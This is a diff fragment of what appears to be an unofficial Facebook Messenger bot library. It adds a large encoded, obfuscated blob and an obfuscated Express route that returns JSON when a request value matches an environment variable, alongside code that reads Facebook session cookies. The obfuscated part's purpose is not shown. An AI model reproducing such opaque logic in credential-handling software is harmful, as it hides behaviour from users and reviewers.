QHAQY/8-%22PQH%0CHRPTZMUULPSPDB%0F%1B5&LKV%1B%0A%06%1B%09Z%1B%10%04%0A%06%0E%17%13%08M8;7%3EY%1C%00%18%17%1B%17%13%0D%0FF%3C,?\'RK%1A%14%08%0D%0D%11%14BINFR#H!?%3C=F%22%25%3EQJJM6R#%3E\'9J=0$QJPJ%12%15\'=PJSKJNF%22#H!9JGF%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%15%1E3%3CKS%19%13%03%19%0C%0A%0DZJJGF%22%25HRIJ=F%22%25%3E!I:;0PQIRI:=F%22#H%5B9%3CMLR#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9J=0$%25JQJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?H%1B%0B%0C%16%00%0E%0B%0E%08M%0A%0D%04?JH%1D%1F%1C%0C%16%08%0CA7%06:3KSI%06Q%3E;PJQ%01W4.QQH;)P%20EPS2%11!*NDR9%1A*!IOF%20%19%10%3CJHM,%203)RKJ\'&H%3EKSI0%0D.2PJ%07%04%14%08%0E%0D%11%0C%14B4W%04%3CPJ%01%10%04%12%18%0B%16CRIJ=F%22%25%3E!I:;0RPHQ9J=0$#H!?%3CODRP*7Q%25NDP%05%05%0F%0C%02%12%04%16%16C%15%12%03#EP%03%11%1F%16%14%14%03Y_?%0FRQSX%5E%05%191%0A%10%046,%08+1JH;P%3C%22/3Y%07%13%03%1A%0C%0A%15%0CA7:%1D=KS%19%13%03%19%0C%0A%0DZJ%12),3PJSII%09!K2KSK%1C%00%18%17%1B%17%13%0D%0FF%06%12N\'RK%1A%1C&%11%09%01!%157%05&QQ%3EG;Y3(QQ8%1D(Q*EP%25X#Z4#EP#:%0F/*NDR%0F;0)IO0D%02(%12%13%03=%0EA%17\'RK%3C%5D%10%1F%0D%0D%19%16%08%09%03Y51B&IO%16%0B%1D%17%0F%10%0FF%02%1F%0F!RKJ\'_63KSI%02%03%5D%3CPJ%07%04%14%08%0E%0D%11%0C%14B%06%00%5C=PJ%01%10%04%12%18%0B%16CR\'1P+QQJ!/X0$QQ%3ER+&%15.QQJ%07%04%14%08%0E%0D%11%0C%14B(+%5E=PJ%01%10%04%12%18%0B%16CRI:;FXS8\'KJNERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JSHI%11%192;KSKH%1B%0B%0C%16%00%0E%0B%0E%08M%12%1B:8JH%1D%1F%1C%0C%16%08%0CA+%0B%013KSI0%0D.2PJQ%05%09%1F(QQH;+%14%20EPS%0C%3C%10(NDR%17%0FM!IOF%1E%1A;9JHM%0E*@%1ARKJ3X%14%3EKSI%20T%222PJQ#*W+QQH%11%05S%25EPS%14(Z(NDR-V%17$IOF4%02%0F%00JHM%1A+@*RKJ\'$%0C%3EKSI%164U0PJQ#(%13+QQ%1E%00)%09%17%0F%2294%1E(IO0D=!%14!Z%00%18%17%1B%17%13%0D%0FF%203H!RK%1A%14%08%0D%0D%11%14BIN8H%11&RKHLER#%3EQCJ=0RPHQ9J=0$#H!?J=0$QJSIIMF%22S8\'?:M6$%25NQCJ=0P%05%05%0F%0C%02%12%04%16%16C%1DU2$EP%03%11%1F%16%14%14%03YPH%5BI:;FQSH!I:;0%22S8\'?HOF%22%25%1E%1C%17%0F%05%19%10%17%0DZ+$0/QQ%18%08%07%15%13%1F%17XK%09%0BU\'EPQ87%5B7/EP%25K3%25%12%25EPQ%1E%1C%17%0F%05%19%10%17%0DZ%01S(/Q=%19+%20M?:0:O;%17-$D%02%14%06%0EB%20%11%04:EAXY%17%07%1FY%1BW%11!%5CN%5D%01JSJQ\'C%5D%16JSJRSWDB%03%0F%1F%16A%11%1F%1D;X%11-T*W%0E%10%0A%16%07I%05Y%12;_RTT%5EUOUS%15PQVYNKJS%19%12%11%04%0D%1B%0BR%01U%0D.P%03%00%1B%11%04FEI%00WJRUWHI%17QJRQW%5CPB%00N%09%22%5BEI%17QKRTVYTNZCPSOV%0E%0A%079_81$;C%01%08%07%00%0DV%1A%19%10%1FBIPT@MUWR%0ET%5CILWHK%5B%05Y%12;%5E%0D%10%05%25Q%20/*8II\'%185:%5EG_%14%08%09%1C%1E%0A%14%07%05Y(%03)!T%0E%04%08%0A%0D%10Y;%17-$DFPS%15TQV%5CKOFJ%1APV%5DHNJ@JQ%09_HHTJTLQ%5DIMRSY%03%14%08%18%13X%19%03%12%03MQH%0CLRQVZH%5DUOWU%5EDC%1BW%11!%5CN%5D%16LSJRVSHI%00RJRPSDB%03%15%1B%10A?4%1F;%5ERR%0EW%5DIHQKUDV%15HHSHRH%5D%1A%11%11%0F%1FJ8?%0B:DKJ%0DSV%5ELLQWTVUT@QJ%09%15%08%12%0E%11P:#%04%22O%16%1A%19%10%1FBIWTOOROGQ%09_IHSIQH%5C4%20%1E%20GJQ%09_IMUIPLPUMOZSY%03%14%08%18%13C%11-T*V%1A%19%10%1FBIV%15KHSI&DV%02KHSJPVOW%20!%059_%16%14%09:F%5E?%180$C%15%1D%0D%1D%16%09YEI%17QJQQU%5DTNTJUQOWQH%0CHRWP%5BOUS%02SQ%22T;QX%18%10%04%07%06B%05%22%0D%0B%22MP%3C%02289%16%14%09:%25X%07%00%13%03%0C%12C%00%1B%11%04FEI%00RJQ#P@I%17QJSWR%5EPB%00N%09%22%5BEONQKTLV%02KHRHRWOV%0E%0A%079IJ%5D%0F%0B%1D%02%11Y%1C%1B%10%0B%1D%17%0F%10%0FF,%0E%11%20A%1F%07%13%03%1A%0C%0A%15%0CA%15%00A:KS%19%13%03%19%0C%0A%0DZJJ=6R#8QCJ=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$QHRJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?HLE(-$%3EJHOD%04%1E%16%14%01%15%0F%02%17X6.%03%22ND%02%0A%06%0E%17%13%08M(%13%201JHM%0AN+!RKJ%05%5B+;KSI%20-%5C?PJQ3%0A%25&QQ%1E%00)%09%17%0F%22-;%1F&IO0D%0F/%02*Z%00%18%17%1B%17%13%0D%0FF%02%11K!RK%1A%14%08%0D%0D%11%14B%06%00%5C=PJQ%153%5E$QQH+%09%22-EPS&4%18\'NDR%1F%01%22!IOF%16%3E%113JHM$8*%22RKJ\'%14);KSI%164U0PJQ7T%0B+QQH%15$%13/EPS%0C%16U%22NDR%17%25%08+IOF%1E%10%1A?JHM,0%0D%25RKJ\'_63KSI%025U%00PJQ%153%5E$QQ%1E%1C%17%0F%05%19%10%17%0DZ3.S/QQ%18%08%07%15%13%1F%17XK%19%07Q#EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA7%3C:;KS%19%13%03%19%0C%0A%0DZJ0%0D.2PJS90%0FX3PJ\'JH%1B%0B%0C%16%00%0E%0B%0E%08M%0A%17%259J,*%15:Q%18%08%07%15%13%1F%17X%0C%14\'%25=%205%00%20\'Y%1C%00%18%17%1B%17%13%0D%0FF%02%139%20RK%1A%14%08%0D%0D%11%14BIM6%22S8!I@M6$%25H!I:;0$S8\'?:M6$%258Q9%3C;0PSKRI:;FXS8\'IIMF%22S8\'?:M6$S8\'?HOGQ%13&%0B(IODP%05%05%0F%0C%02%12%04%16%16C3%25%12%25EP%03%11%1F%16%14%14%03YPH!?HMEQSBQ9%3CMLR#%3ESHI%11)%09%3EKSKH%1B%172%10%12%189$%1E%07;PJ\'_,%20:8C%05%0F%0C%02%12%04%16%16C%11%07%17%25EP%03%11%1F%16%14%14%03YPKQCJ=0RPHQ9J=0$#H!?%3CODSP*%1B%11*NDPQHRI:=F%22#H!?%3CM6R#%3E\'?J=0$#H!?%3C=F%22%25%3E\'K%1C%00%18%17%1B%17%13%0D%0FF(;%16%20R%05X%16.P%03%11%1F%16%14%14%03Y%17%0D?&:%01T%09;%3EA%1F%07%13%03%1A%0C%0A%15%0CA%01%0F!;KS%19%13%03%19%0C%0A%0DZJ%15%1F%1D%1C%17%05ZJ:;F%22%25JS9JGF%22%25H%5BI:;FXS8\'?%1C%00%18%17%1B%17%13%0D%0FF$0%22%20RK%1A%14%08%0D%0D%11%14BI3X%14%3EKSK:7%04L2KS?IO%10%1F%0D%0D%19%16%08%09%03Y%1BU(!IO%16%0B%1D%17%0F%10%0FFE%0A7%220JHOF%22%25%1E%1C%17%0F%05%19%10%17%0DZ\'%253.QQ%18%08%07%15%13%1F%17XKR71P,QQJPJJ=0RYH!?JNFR#H!?%3C=F%22%25H!?%3CODPSKQ9:M6%22YH!?JGF%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ES%1F%1B-%05%08%1A8%1D%202,EP%25%5E%0D%18%0D#V%1F%0D%0D%19%16%08%09%03Y!S7!IO%16%0B%1D%17%0F%10%0FF,%12N%1ARKJ\'&H%3EKSI%06%0E%14%3CPJQ%05%09%1F(QQH;+%14%20EP%05%05%0F%0C%02%12%04%16%16C;%1B1%25EP%03%11%1F%16%14%14%03YP%0C6P+NDP#.C4(ND$P*=%11%22NDP%05%05%0F%0C%02%12%04%16%16C/4)%25EP%03%11%1F%16%14%14%03YP%221S\'NDP#2%13W+ND$PJ%07%04%14%08%0E%0D%11%0C%14B%16%12&:PJ%01%10%04%12%18%0B%16CRI@M6$QHRI@M6$SKQI:M6$%258Q9%3C;DPSKQJ:M6%22YH!?JGF%22%25%3EQ9J=0$%25%3EQ9%3CO6R#8Q9:M6$%25H!I:;0$S8\'?:M6$%258QCJ=0$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA?%3E%3C9KS%19%13%03%19%0C%0A%0DZJJ=6R#8QC:;FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ESIIN%1E69)RKHLE4%1A%170JHOD%04%1E%16%14%01%15%0F%02%17X%22%0B*%20ND%02%0A%06%0E%17%13%08MQSH!I:;0%22S8\'?HMEQ-3L#IODSP%0C%10#%22NDPQ%1E%00)%09%17%0F%22!6%18%20IO0D57%3C\'Z%00%18%17%1B%17%13%0D%0FF87%02%22RK%1A%14%08%0D%0D%11%14BI%15%2282KSKJN%06%3C%09)RKH%1B%0B%0C%16%00%0E%0B%0E%08M%0E%14%20;JH%1D%1F%1C%0C%16%08%0CAN%02?%0A*RKH=%3C%10M)RK%3CND%04%1E%16%14%01%15%0F%02%17X23%17%20ND%02%0B2M(:%09%25%201KS?IO6Q)0C!IODRP%0C%0E%04\'NDP%25%5E!?Z%10%0C%0BX%10%1D%1A%20%5BEI%17QJQUW%5DTH%1BKRW%20%5BPC%18%16%07%15F%20=%08%22A%15%09%0F%01%1CP%10%1D%1A%20ZEI%00WJRWWHI%17QJRQT%5DPQ%18%09%15%08%12%0E%11P%10%1D%1A%20O%16%1A%19%10%1FBIV%02KHVJRQK%5D%01ISC\'QOW%0A%1F%1B;_,%22%1D8D%22%0B*%20NDFPS%15SQV%5DHLR_TTSXNQYRR%0EP%5DIIRLGQ%1E%5CIHS%3CKZ%04%1F%1C%19%08A%01%00%15%08YPRCTVV_%5CH%0CHRQV%5EJQY%09%05%19\'PQH%0CHRPU_IUS%02SQT.NQX%01%01%0E%08%1E%0DX%0C%18%11%20%5B4A-&RK:%05%02?0KS?:+;%1A%3EKS?I%1C&%11%09%01!J0%5E%1D1PJSII#\'%0F=KSK%3CJ%1E(O)!J%12%1F%06?PJSII7%0E%0C1KSK%3CND%22P6%10T(NDPSK%1D%14%09/EPQ%3ES%1E%1DN8)N%22RKH%5D%1E(O)!%0D)?$QQ%3ERK:%11%03@9KS?:%0D,%141KS?I?U,=KS9%02%09+1PJ\'98%0B(0PJ\'J%0E%04%1E8QI#Z4#EP#%00%15$)ND$#:J/%22ND$P:B7$ND%22%1B%0C%3C*IO0%221%20%15%20IO0QQIR#%10.,QQJQJJ=0RYH!?HOFQ%13$%22(IODPC%1E%18%10%04%07%06B%1B%02%09%07AN%5BLORLOQ%09_IHQOQH%5C%1E%1E%00%22GJWP%5CNNNJ%0DSV%5CHLSSY,%22%1D8SHA%00%13%03%0C%12C%00%1B%11%04FEI%00RJSW%5E@I%17QJRTT%5BPB%10%1D%1A%20%5BEI%17WJRQQ%5D%5CH%1BKRQV.PC.%3E%12%20%5BF%22#H!9J=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$C%01%08%07%00%0DV%04%05%1E%07%04%14%08%0E%0D%11%0C%14B%0E%0278PJ%01%10%04%12%18%0B%16CRJ03*=PJSHIME%22S8!CJ=0RYH!?%3CM6R#%3E\'?%3CM6$Q8Q9:M6%22S8\'?J=F%22%25%3E\'I:;0%22S8\'?:MLR#%3E\'?%3CODRPHQ9J=0$#H!?%3CO%10%1F%0D%0D%19%16%08%09%03Y)(K#IO%16%0B%1D%17%0F%10%0FFJ%25%0DSJVRA%10%1F%0D%0D%19%16%08%09%03Y%13%5B.#IO%16%0B%1D%17%0F%10%0FFEX#%3EQ9%3CO6RYH!?JGF%22%25H%5BI:;0%04%02(%12%13%03=%1E*=(RK%3C%5B%20J%13+A%04%14%08%0E%0D%11%0C%14B,%20:8P%04I-%20O%16%0B%1D%17%0F%10%0FF%02%17=\'!%05R),$C%1E%1C%17%0F%05%19%10%17%0DZ+%204,QQ%18%08%07%15%13%1F%17XK%0D0Y/EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA%05439KS%19%13%03%19%0C%0A%0DZJ8%15%0B2PJSII#=O%3EKSK%1C%00%18%17%1B%17%13%0D%0FF(%0F5%22RK%1A%14%08%0D%0D%11%14B%20%0D%5B%00PJQ%05%03%3E.QQH/W%0C%20EPS.%00%0E%1BND%04%1E%16%14%01%15%0F%02%17X&%02%08#ND%02%0A%06%0E%17%13%08M%16:%0D2JHM%20%1F%00(RKJ7&H9KSI%06%045:PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ%05T%0A/QQ%18%08%07%15%13%1F%17XK7%18%0D%1CEPQ8+%0BT,EP%25KS%1F%0D%03%19Y9%10%1F%20%5C=O%1E$D%05%3CCJO$%18%10$@MD%17%1A%07%1DXNC%25%09%08%1C%06%19@MD8%1B%1A%1C%18@MD)%01%01?%0FS$\'+%1CH#%0B%00%10%1B%0EIW#%0B%01%02!%12%1B%0CN:%13%02%05*%06%1A%17)%07%104%1C%07HNC%5BCJO%1E%1A%1A%1E%179%13%1C%0DZOX1%1E%18%09%0C%06%07G&%08%06%18%5BTA%0B%02%01%1A%14%0A%09%07%03%1D%1FY%17%1A%07%1DJ%11%19%17%0F%1A%0D%07W%07%05%10PQZOX%05%03%1F%09%0CZOX%01%05%04%14%07%0F%1A%0C%0BCJO%01%01%00%1E%1D%03%0FOUZ%06%1E%14IDA%5B%0D%1D%0E@MD%0C%1C%0D%01%13@MD-%08%1B%00=%1D%03%12OUZ%16%04%04CJO;-#&%3E.9*\'-!XNC\'%08%01&AV@%02:O%03&A\'Y%07%13%03%1A%0C%0A%15%0CA%05%5D%1E:KS%19%13%03%19%0C%0A%0DZJ%20P%3E5PJSI:;%10%1F%0D%0D%19%16%08%09%03Y%0F%0DC#IO%16%0B%1D%17%0F%10%0FF,%12N%1ARKJ%05%5D%1E:KSI%16%16*;PJQ#*W+QQH+%09%22-EPS*?4#NDR%0B%144\'IOF46W9JHM,2I%25RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA?8%1B:KS%19%13%03%19%0C%0A%0DZ;%04%11*QQH%0D6\',EPS%08B6%20NDR%1F%01%22!IOF(%13%201JH%1B%0B%0C%16%00%0E%0B%0E%08M%0A%11W;JH%1D%1F%1C%0C%16%08%0CANFQ#H!9@M6$SBQ9%3C;F%22S8\'?%3C;F%22%25J!I:=F%22#H!?%3CM6R#%3E\'?J=0$#H!?%3C=FXS8\'?%3C;DRPK/2W\'EPQIR+,U)QQJS%1F%07%13%03%1A%0C%0A%15%0CA3=O9KS%19%13%03%19%0C%0A%0DZJJN6R#8%5BI:;FXS8\'?J=F%22%25%3E\'?J=0P#H!9J=6R#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'?HMERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JWI@M6$Q%1E%1C%17%0F%05%19%10%17%0DZ73%22/QQ%18%08%07%15%13%1F%17XK!?:#%1B49KS?J=0P#2/%25%25ND$%05%08%11T%25NDB%1E%16%14%01%15%0F%02%17X%14%0A%25#ND%02%0A%06%0E%17%13%08MQ)6=&IODR#%3E%07%04%14%08%0E%0D%11%0C%14B0+%14;PJ%01%10%04%12%18%0B%16C#Z4#EP#%04%1E%17%25ND$C%1E%1C%17%0F%05%19%10%17%0DZ%11%0A$/QQ%18%08%07%15%13%1F%17X%04O%0E#NDR9Q5)IOF%16%3E%113JHM%1A+@*RK%1C%00%18%17%1B%17%13%0D%0FF%201%0C!RK%1A%14%08%0D%0D%11%14B%20%1F=:PJQ;%00%15+QQH;;*,EPS%221S\'NDR)%089)IO%10%1F%0D%0D%19%16%08%09%03Y%17%05%0D%20IO%16%0B%1D%17%0F%10%0FFE%121%161JHO64A53JH;E0H.2JHO%10%1F%0D%0D%19%16%08%09%03Y1%20%15%20IO%16%0B%1D%17%0F%10%0FF,0%0D%25RKJ\'_63KSI4S%00?PJQ/%1B%0A%17QQH%1D%0A%18#EPS%0C%1C%15#ND%04%0B%20%15%25IOV%1F%0D%0D%19%16%08%09%03Y%13%02%08%20IO%16%0B%1D%17%0F%10%0FF8L%15%25RKJ%01%05%00=KSI%06%00%5C=PJ%07%04%14%08%0E%0D%11%0C%14B,%1C%01%03PJ%01%10%04%12%18%0B%16CR9%3C=6$%25H!?H=FR#HQ9:;0%22S8\'?%3C=F%22%25%3E\'%1F%07%13%03%1A%0C%0A%15%0CA%09Z%17%02KS%19%13%03%19%0C%0A%0DZJ:;6%3C%0E.;JH;F%22%25J!%0D/%1C&QQ%3E%07%04%14%08%0E%0D%11%0C%14B(%13%0A%03PJ%01%10%04%12%18%0B%16C#Z4#EP#%10%11%20#ND$#%08%1B%10#ND$PJA%1F%07%13%03%1A%0C%0A%15%0CA%0D_%10%02KS%19%13%03%19%0C%0A%0DZJI3=O9KSKKN$K%12*RKHOFQS8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I:;0$Q%1E%1C%17%0F%05%19%10%17%0DZ\'%11%04%17QQ%18%08%07%15%13%1F%17X25W#NDR%0F1B+IOF%16%3C62JHM%1A-%3E)RKJ7%06:3KS%1F%02#;5PJA%04%14%08%0E%0D%11%0C%14B%06%3E%09%03PJ%01%10%04%12%18%0B%16C3\'7$EPS%00)Z%18NDR%1F%01%22!IOF%1E%1A;9JHM%3C%12;(RK%1C%00%18%17%1B%17%13%0D%0FF,%12N%1ARK%1A%14%08%0D%0D%11%14BI=0%22#%3E\'I:;D%22SBQ9%3CMLR#%3EQCJ=0RYH!?%3C%1B%0B%0C%16%00%0E%0B%0E%08M%1A+%5B%03JH%1D%1F%1C%0C%16%08%0CAN%19%00%08%06%15%04AN6$S8\'KH=FXS8\'I@M6$SBQ9%3CMLR#%3EQCJ=0$%05%191%0A%10%04C%1A5P4_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF_@%05X%00)%09%17%0FW%0FZ,,%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MKI%1EA%18*%0E%1C%1BV:=;/%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YKV%07Y%1B-%05%08%1AM%09V0(P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XPL%1FZ%1C&%11%09%01T7%25%17%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CC%1FZ%1C&%11%09%01T%15%03%12%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CKT%1C%5D%172%10%12%18L0%1F%016E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZPS%1BV%033%0B%0B%00O+%19%1E7%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BP_%10B%02(%12%13%03H%02H%11,G%04%14%08%0E%0D%11%0C%14JH%1D%1F%1C%0C%16%08%0CATZ%04C%191%0A%10%04C0%17%015_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF_A%05X%00)%09%17%0FW%13:1-%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MHM%1EA%18*%0E%1C%1BV%04.$.%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YIQ%07Y%1B-%05%08%1AM3%13()P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17X%5B%07Y%1B-%05%08%1AM%19-%20)P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XRN%1FZ%1C&%11%09%01T\'%0D%22%22D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CIR%1C%5D%172%10%12%18L8/%1B6E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZQP%1BV%033%0B%0B%00O%05*%0A5%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BPW%10B%02(%12%13%03H,A%08.G%04%14%08%0E%0D%11%0C%14JH%1D%1F%1C%0C%16%08%0CAT%5D%04C%191%0A%10%04C,%0037_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FF%5EA%05X%00)%09%17%0FW%1752/%5C%00%18%17%1B%17%13%0D%0FND%02%0A%06%0E%17%13%08MHH%1EA%18*%0E%1C%1BV2%09),%5B%0B%0C%16%00%0E%0B%0E%08EP%03%11%1F%16%14%14%03YJV%07Y%1B-%05%08%1AM%113%22+P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XT%07Y%1B-%05%08%1AM7%0C\'+P%1F%0D%0D%19%16%08%09%03QQ%18%08%07%15%13%1F%17XPC%1FZ%1C&%11%09%01T%05-%1E%20D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CNR%1C%5D%172%10%12%18L$%00_4E%05%0F%0C%02%12%04%16%16KS%19%13%03%19%0C%0A%0DZPW%1B%10P\")")
260
+ }();
261
+ var cUFz = zKhqb[zKhqb.zgiib(0)]();
262
+ while (cUFz < zKhqb[zKhqb.vbdib(1)]()) switch (cUFz) {
263
+ case 0b1101:
264
+ cUFz = zKhqb[zKhqb.vbdib(1)]();
265
+ res[zKhqb.r67hb(2)]({
266
+ [zKhqb.n12hb(3)]: [0] == '',
267
+ [zKhqb.PACib(4)]: zKhqb.Lvxib(5)
268
+ });
269
+ break;
270
+ case 0b100000:
271
+ cUFz = zKhqb[zKhqb.vbdib(1)](); {
272
+ res[zKhqb.Hqsib(6)](zKhqb.uc(16) ? 200 : 192, {
273
+ [zKhqb.Dlnib(7)]: zKhqb.zgiib(8)
274
+ });
275
+ res[zKhqb.vbdib(9)](JSON[zKhqb.r67hb(10)](console[zKhqb.n12hb(11)], null, zKhqb.uc(21) ? 2 : -9), zKhqb.PACib(12));
276
+ res[zKhqb.Lvxib(13)]();
277
+ }
278
+ break;
279
+ case 0b10010:
280
+ cUFz = req[zKhqb.Hqsib(14)][zKhqb.Dlnib(15)] == process[zKhqb.zgiib(16)][zKhqb.vbdib(17)] ? zKhqb[zKhqb.r67hb(18)]() : zKhqb[zKhqb.n12hb(19)]();
281
+ break;
282
+ }
283
+ break;
284
+ }
285
+ default: {
286
+ res.writeHead(200, "OK", { "Content-Type": "text/html" });
287
+ res.write(ClassicHTML(globalThis.Fca.Require.FastConfig.HTML.UserName, globalThis.Fca.Data.PremText.includes("Premium") ? "Premium": "Free", globalThis.Fca.Require.FastConfig.HTML.MusicLink));
288
+ }
289
+ }
290
+ res.end();
291
+ })
292
+
293
+ globalThis.Fca.Require.Web = express;
294
+
295
+ /!-[ Function setOptions ]-!/
296
+
297
+ /**
298
+ * @param {{ [x: string]: boolean; selfListen?: boolean; listenEvents?: boolean; listenTyping?: boolean; updatePresence?: boolean; forceLogin?: boolean; autoMarkDelivery?: boolean; autoMarkRead?: boolean; autoReconnect?: boolean; logRecordSize: any; online?: boolean; emitReady?: boolean; userAgent: any; logLevel?: any; pageID?: any; proxy?: any; }} globalOptions
299
+ * @param {{ [x: string]: any; logLevel?: any; forceLogin?: boolean; userAgent?: any; pauseLog?: any; logRecordSize?: any; pageID?: any; proxy?: any; }} options
300
+ */
301
+
302
+ function setOptions(globalOptions, options) {
303
+ Object.keys(options).map(function(key) {
304
+ switch (Boolean_Option.includes(key)) {
305
+ case true: {
306
+ globalOptions[key] = Boolean(options[key]);
307
+ break;
308
+ }
309
+ case false: {
310
+ switch (key) {
311
+ case 'pauseLog': {
312
+ if (options.pauseLog) log.pause();
313
+ else log.resume();
314
+ break;
315
+ }
316
+ case 'logLevel': {
317
+ log.level = options.logLevel;
318
+ globalOptions.logLevel = options.logLevel;
319
+ break;
320
+ }
321
+ case 'logRecordSize': {
322
+ log.maxRecordSize = options.logRecordSize;
323
+ globalOptions.logRecordSize = options.logRecordSize;
324
+ break;
325
+ }
326
+ case 'pageID': {
327
+ globalOptions.pageID = options.pageID.toString();
328
+ break;
329
+ }
330
+ case 'userAgent': {
331
+ globalOptions.userAgent = (options.userAgent || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36');
332
+ break;
333
+ }
334
+ case 'proxy': {
335
+ if (typeof options.proxy != "string") {
336
+ delete globalOptions.proxy;
337
+ utils.setProxy();
338
+ } else {
339
+ globalOptions.proxy = options.proxy;
340
+ utils.setProxy(globalOptions.proxy);
341
+ }
342
+ break;
343
+ }
344
+ default: {
345
+ log.warn("setOptions", "Unrecognized option given to setOptions: " + key);
346
+ break;
347
+ }
348
+ }
349
+ break;
350
+ }
351
+ }
352
+ });
353
+ }
354
+
355
+ /!-[ Function BuildAPI ]-!/
356
+
357
+ /**
358
+ * @param {any} globalOptions
359
+ * @param {string} html
360
+ * @param {{ getCookies: (arg0: string) => any[]; }} jar
361
+ */
362
+
363
+ function buildAPI(globalOptions, html, jar) {
364
+ var maybeCookie = jar.getCookies("https://www.facebook.com").filter(function(/** @type {{ cookieString: () => string; }} */val) { return val.cookieString().split("=")[0] === "c_user"; });
365
+
366
+ if (maybeCookie.length === 0) {
367
+ switch (globalThis.Fca.Require.FastConfig.AutoLogin) {
368
+ case true: {
369
+ globalThis.Fca.Require.logger.Warning(globalThis.Fca.Require.Language.Index.AutoLogin, function() {
370
+ return globalThis.Fca.AutoLogin();
371
+ });
372
+ break;
373
+ }
374
+ case false: {
375
+ throw { error: globalThis.Fca.Require.Language.Index.ErrAppState };
376
+
377
+ }
378
+ }
379
+ }
380
+
381
+ if (html.indexOf("/checkpoint/block/?next") > -1) log.warn("login", Language.CheckPointLevelI);
382
+
383
+ var userID = maybeCookie[0].cookieString().split("=")[1].toString();
384
+ process.env['UID'] = logger.Normal(getText(Language.UID,userID), userID);
385
+
386
+ try {
387
+ clearInterval(checkVerified);
388
+ } catch (e) {
389
+ console.log(e);
390
+ }
391
+
392
+ var clientID = (Math.random() * 2147483648 | 0).toString(16);
393
+
394
+ var CHECK_MQTT = {
395
+ oldFBMQTTMatch: html.match(/irisSeqID:"(.+?)",appID:219994525426954,endpoint:"(.+?)"/),
396
+ newFBMQTTMatch: html.match(/{"app_id":"219994525426954","endpoint":"(.+?)","iris_seq_id":"(.+?)"}/),
397
+ legacyFBMQTTMatch: html.match(/(\["MqttWebConfig",\[\],{fbid:")(.+?)(",appID:219994525426954,endpoint:")(.+?)(",pollingEndpoint:")(.+?)(3790])/)
398
+ }
399
+
400
+ let Slot = Object.keys(CHECK_MQTT);
401
+
402
+ var mqttEndpoint,region,irisSeqID;
403
+ Object.keys(CHECK_MQTT).map(function(MQTT) {
404
+ if (CHECK_MQTT[MQTT] && !region) {
405
+ switch (Slot.indexOf(MQTT)) {
406
+ case 0: {
407
+ irisSeqID = CHECK_MQTT[MQTT][1];
408
+ mqttEndpoint = CHECK_MQTT[MQTT][2];
409
+ region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
410
+ return;
411
+ }
412
+ case 1: {
413
+ irisSeqID = CHECK_MQTT[MQTT][2];
414
+ mqttEndpoint = CHECK_MQTT[MQTT][1].replace(/\\\//g, "/");
415
+ region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
416
+ return;
417
+ }
418
+ case 2: {
419
+ mqttEndpoint = CHECK_MQTT[MQTT][4];
420
+ region = new URL(mqttEndpoint).searchParams.get("region").toUpperCase();
421
+ return;
422
+ }
423
+ }
424
+ return;
425
+ }
426
+ });
427
+
428
+ var ctx = {
429
+ userID: userID,
430
+ jar: jar,
431
+ clientID: clientID,
432
+ globalOptions: globalOptions,
433
+ loggedIn: true,
434
+ access_token: 'NONE',
435
+ clientMutationId: 0,
436
+ mqttClient: undefined,
437
+ lastSeqId: irisSeqID,
438
+ syncToken: undefined,
439
+ mqttEndpoint: mqttEndpoint,
440
+ region: region,
441
+ firstListen: true
442
+ };
443
+
444
+ var api = {
445
+ setOptions: setOptions.bind(null, globalOptions),
446
+ getAppState: function getAppState() {
447
+ return utils.getAppState(jar);
448
+ }
449
+ };
450
+
451
+ if (region && mqttEndpoint) {
452
+ //do sth
453
+ }
454
+ else {
455
+ log.warn("login", getText(Language.NoAreaData));
456
+ api["htmlData"] = html;
457
+ }
458
+
459
